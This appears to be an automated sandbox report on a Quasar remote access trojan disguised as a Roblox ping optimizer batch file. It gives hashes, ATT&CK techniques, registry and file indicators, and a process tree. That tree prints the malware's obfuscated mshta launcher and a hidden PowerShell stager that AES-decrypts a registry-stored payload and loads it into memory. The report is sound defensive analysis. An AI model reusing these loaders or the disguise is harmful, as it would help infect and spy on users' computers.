quasar | 5f4e3342d7148047d9b8a6e3a6626fc6a28e05fea788d2345c38ac7ccb7afb1f

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
21/05/2024, 22:17

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General

Target
RobloxPingOptimizer-Main-x64.NEW/RobloxPingOptimizer-Main-x64/Main/RobloxPingOptimizer.bat
Size 15.6MB
Sample240521-17frfacb2w
SHA256 30800e9982e73ce9a2f315b05630225f57b6ae1d219902b8dcde6031d840a553
MD5 0e7fa38a2267f6c3c8b0afafda56ef99
SHA1 e116a71ae311011f1fc2697e84575990b75d96b4
SHA512 75f5108166ac7224f5797941f57ada798a1bb760850677618770fb4aa7c9dd3d9298013afde66a0eba303852c9dfb2277b8bda61243c161b35975f1030ed9e98
SSDEEP 49152:Cdxc9riM4QO4C2ltO7iHK35ROUcdDvgVNfLH9QDn7OusKIV+cDBGVKKjU5ECeNNI:k
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/832-77-0x000002377E040000-0x000002377E7EE000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4156	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Deletes itself 1 IoCs

pid	Process
4156	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1972	$sxr-mshta.exe
3532	$sxr-cmd.exe
832	$sxr-powershell.exe
4400	$sxr-cmd.exe
3876	$sxr-powershell.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	3876	$sxr-powershell.exe
Token: SeShutdownPrivilege	3388	Explorer.EXE
Token: SeCreatePagefilePrivilege	3388	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
832	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 3728	908	cmd.exe	83
PID 908 wrote to memory of 3728	908	cmd.exe	83
PID 908 wrote to memory of 4156	908	cmd.exe	84
PID 908 wrote to memory of 4156	908	cmd.exe	84
PID 1972 wrote to memory of 3532	1972	$sxr-mshta.exe	93
PID 1972 wrote to memory of 3532	1972	$sxr-mshta.exe	93
PID 3532 wrote to memory of 2796	3532	$sxr-cmd.exe	95
PID 3532 wrote to memory of 2796	3532	$sxr-cmd.exe	95
PID 3532 wrote to memory of 832	3532	$sxr-cmd.exe	96
PID 3532 wrote to memory of 832	3532	$sxr-cmd.exe	96
PID 832 wrote to memory of 672	832	$sxr-powershell.exe	7
PID 832 wrote to memory of 672	832	$sxr-powershell.exe	7
PID 832 wrote to memory of 944	832	$sxr-powershell.exe	12
PID 832 wrote to memory of 944	832	$sxr-powershell.exe	12
PID 832 wrote to memory of 436	832	$sxr-powershell.exe	14
PID 832 wrote to memory of 436	832	$sxr-powershell.exe	14
PID 832 wrote to memory of 864	832	$sxr-powershell.exe	15
PID 832 wrote to memory of 864	832	$sxr-powershell.exe	15
PID 832 wrote to memory of 1084	832	$sxr-powershell.exe	17
PID 832 wrote to memory of 1084	832	$sxr-powershell.exe	17
PID 832 wrote to memory of 1092	832	$sxr-powershell.exe	18
PID 832 wrote to memory of 1092	832	$sxr-powershell.exe	18
PID 832 wrote to memory of 1116	832	$sxr-powershell.exe	19
PID 832 wrote to memory of 1116	832	$sxr-powershell.exe	19
PID 832 wrote to memory of 1212	832	$sxr-powershell.exe	20
PID 832 wrote to memory of 1212	832	$sxr-powershell.exe	20
PID 832 wrote to memory of 1248	832	$sxr-powershell.exe	21
PID 832 wrote to memory of 1248	832	$sxr-powershell.exe	21
PID 832 wrote to memory of 1320	832	$sxr-powershell.exe	22
PID 832 wrote to memory of 1320	832	$sxr-powershell.exe	22
PID 832 wrote to memory of 1340	832	$sxr-powershell.exe	23
PID 832 wrote to memory of 1340	832	$sxr-powershell.exe	23
PID 832 wrote to memory of 1412	832	$sxr-powershell.exe	24
PID 832 wrote to memory of 1412	832	$sxr-powershell.exe	24
PID 832 wrote to memory of 1448	832	$sxr-powershell.exe	25
PID 832 wrote to memory of 1448	832	$sxr-powershell.exe	25
PID 832 wrote to memory of 1468	832	$sxr-powershell.exe	26
PID 832 wrote to memory of 1468	832	$sxr-powershell.exe	26
PID 832 wrote to memory of 1488	832	$sxr-powershell.exe	27
PID 832 wrote to memory of 1488	832	$sxr-powershell.exe	27
PID 832 wrote to memory of 1656	832	$sxr-powershell.exe	28
PID 832 wrote to memory of 1656	832	$sxr-powershell.exe	28
PID 832 wrote to memory of 1676	832	$sxr-powershell.exe	29
PID 832 wrote to memory of 1676	832	$sxr-powershell.exe	29
PID 832 wrote to memory of 1736	832	$sxr-powershell.exe	30
PID 832 wrote to memory of 1736	832	$sxr-powershell.exe	30
PID 832 wrote to memory of 1812	832	$sxr-powershell.exe	31
PID 832 wrote to memory of 1812	832	$sxr-powershell.exe	31
PID 832 wrote to memory of 1824	832	$sxr-powershell.exe	32
PID 832 wrote to memory of 1824	832	$sxr-powershell.exe	32
PID 832 wrote to memory of 1940	832	$sxr-powershell.exe	33
PID 832 wrote to memory of 1940	832	$sxr-powershell.exe	33
PID 832 wrote to memory of 1948	832	$sxr-powershell.exe	34
PID 832 wrote to memory of 1948	832	$sxr-powershell.exe	34
PID 832 wrote to memory of 1992	832	$sxr-powershell.exe	35
PID 832 wrote to memory of 1992	832	$sxr-powershell.exe	35
PID 832 wrote to memory of 2004	832	$sxr-powershell.exe	36
PID 832 wrote to memory of 2004	832	$sxr-powershell.exe	36
PID 832 wrote to memory of 1712	832	$sxr-powershell.exe	37
PID 832 wrote to memory of 1712	832	$sxr-powershell.exe	37
PID 832 wrote to memory of 2084	832	$sxr-powershell.exe	39
PID 832 wrote to memory of 2084	832	$sxr-powershell.exe	39
PID 832 wrote to memory of 2252	832	$sxr-powershell.exe	40
PID 832 wrote to memory of 2252	832	$sxr-powershell.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1116
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2632
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ywMXwfUBFNVJyDSrBIVk4312:skAokGYA=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-ywMXwfUBFNVJyDSrBIVk4312:skAokGYA=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:ynDiyxywMz; "
      4⤵
      PID:2796
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:832
    - - C:\Windows\$sxr-cmd.exe
        
        "C:\Windows\$sxr-cmd.exe" /C set "WjUGhUhFAD=[System.Diagnostics.Process]::GetProcessById(832).WaitForExit();[System.Threading.Thread]::Sleep(5000); function RehQj($pAibt){ $vPowE=[System.Security.Cryptography.Aes]::Create(); $vPowE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $vPowE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $vPowE.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('G2RKZtcN6hkpnZXTVc3gUkD6zkZNhu+HP2nFGziH5go='); $vPowE.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('SDEeaycnJbFS9015ocCOJw=='); $ntIWU=$vPowE.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $pliUW=$ntIWU.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($pAibt, 0, $pAibt.Length); $ntIWU.Dispose(); $vPowE.Dispose(); $pliUW;}function DexhB($pAibt){ $sVDkh=New-Object System.IO.MemoryStream(,$pAibt); $yryyb=New-Object System.IO.MemoryStream; Invoke-Expression '$ntNJv @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$sVDkh,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $ntNJv.CopyTo($yryyb); $ntNJv.Dispose(); $sVDkh.Dispose(); $yryyb.Dispose(); $yryyb.ToArray();}function KktQw($pAibt){ $pliUW = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($pAibt); $pliUW = RehQj($pliUW); $pliUW = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($pliUW); return $pliUW;}function execute_function($pAibt,$wEKyT){ $zjWEW = @( '$jvvcj = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$pAibt);'.Replace('@', ''), '$cDqzB = $jvvcj.EntryPoint;', '$cDqzB.Invoke($null, $wEKyT);' ); foreach ($dJqQg in $zjWEW) { Invoke-Expression $dJqQg };}$JmHSu = KktQw('y11/dHJtjD3vwONFotaskg==');$Ymipw = KktQw('Wn6/WQPtP/S46okRUKjRC+GzKvWL1VezdUredriacfw=');$vcgus = KktQw('punO0rRR5cl9FpY6wXYKog==');$ulSUs = KktQw('SE1EhvXe93ZAgL1pCIjykQ==');if (@(get-process -ea silentlycontinue $ulSUs).count -gt 1) {exit};$UGypJ = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($JmHSu).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($Ymipw);$VXpQb=DexhB (RehQj ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($UGypJ)));execute_function $VXpQb (,[string[]] ($vcgus));" & echo Invoke-Expression $env:WjUGhUhFAD; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
        5⤵
        Executes dropped EXE
        
        PID:4400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:WjUGhUhFAD; "
        6⤵
        
        PID:2316
      - C:\Windows\$sxr-powershell.exe
        
        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2844

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3120

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RobloxPingOptimizer-Main-x64.NEW\RobloxPingOptimizer-Main-x64\Main\RobloxPingOptimizer.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:LdjEKqpmmB; "
    3⤵
    PID:3728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3596

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4724

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:5044

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2820

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5064

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1460

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1796

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_tqlnj5pn.t4q.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqlnj5pn.t4q.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
